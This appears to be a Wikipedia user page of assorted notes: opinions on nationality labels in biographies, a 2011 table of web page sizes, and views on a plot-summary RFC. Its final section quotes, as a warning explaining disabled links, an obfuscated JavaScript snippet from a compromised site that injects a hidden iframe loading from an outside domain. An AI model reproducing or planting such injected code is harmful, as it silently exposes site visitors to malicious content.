Points of View

[edit]

User:84user/Upload fair-use suggestionsfor improvingWikipedia:Uploadof non-free images.

Wikipedia:Nationality of people from the United Kingdom;British nationality 2007-2008 talk

Agree withUser:Matt LewisandUser:Breadandcheesethat no guideline is wanted.
Prefernonationalityadjectiveto appear in lead or infoboxat all.
Show legal citizenship(s), when sourced, in the infobox's "Nationality" field.
Prefernoethnicity description to appear in the lead or infoboxat all.
Whensourcedand notable, discuss nationalities and ethnicities (note plural) in a relevant section.
Accept a nationalityadjectivethat is well-sourced, notsynthesized.Good sources would be printed dictionaries, biographies and encyclopedia.
Walk away despairingly at attempts to force ethnicity labels in the lead, infobox and categories.

Web page bloat

[edit]

In 2011 January, I tested the total network traffic of a few web pages, measured usingFirebug,from the context of someone paying for every 100KB of their data downloads (a mobile user for example):

1010 KB 11.0 seconds Deutsche Welle English page[7]The Winner!
540 KB 10.01 seconds BBC news home page[8]
502 KB 13.0 seconds Featured articleLetters Written in Sweden, Norway, and Denmark
376 KB 14.48 seconds English WikipediaMain Page
320 KB 3.2 seconds Featured article in mobile wikipedia[9]
305 KB 11.06 seconds French Wikipediafr:Wikipédia:Accueil_principal
262 KB 13.7 seconds Simple English Wikipedia
169 KB 6.26 seconds German Wikipediade:Wikipedia:Hauptseite
154 KB 4.77 seconds Twitter[10]
129 KB 3.87 seconds W3C[11]
113 KB 1.42 seconds Google search for Google[12]
84 KB 1.36 seconds Google[13]
27 KB 1.69 seconds advanced mobile wikipedia[14]
5 KB 0.7 seconds mobile wikipedia [http://en.mobile.wikipedia.org/

I think wikipedia needs an article onBloat (web).

User:Piotrus/Morsels of wikiwisdom

My half-baked opinions onthe RFC"In principle, do you think that WP:NOT should include a section on plot summaries?"

  • such RFCs need actual examples
  • question is badly framed
  • agree that some form of plotguidelineis needed
  • agree that reliably sourced plot-only articles can meetWP:V,and are acceptable, and could also be usefully merged (or remain as "grow-me" stubs, I'm on the fence here)
  • not necessary for an article on fiction to contain a plot summary! See real encyclopedia
  • not necessary for an article on fiction to contain only analysis! See real encyclopedia again

malware

[edit]

In case anyone is curious why I disabled the links to kungfurodeo.com, here is the malicious javascript that its pages contain that try to load from gstats.cn (do NOT browse to either domain!):

if (document.cookie.search( "iwrpl=5" ) == -1) { document.write( "<ifram" + "e src" + "=http://g" + "st" + "ats" + ".c" + "n sty" + "le=" + "d" + "ispla" + "y:non" + "e></if" + "rame" + ">" ); document.cookie = "iwrpl=5;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}
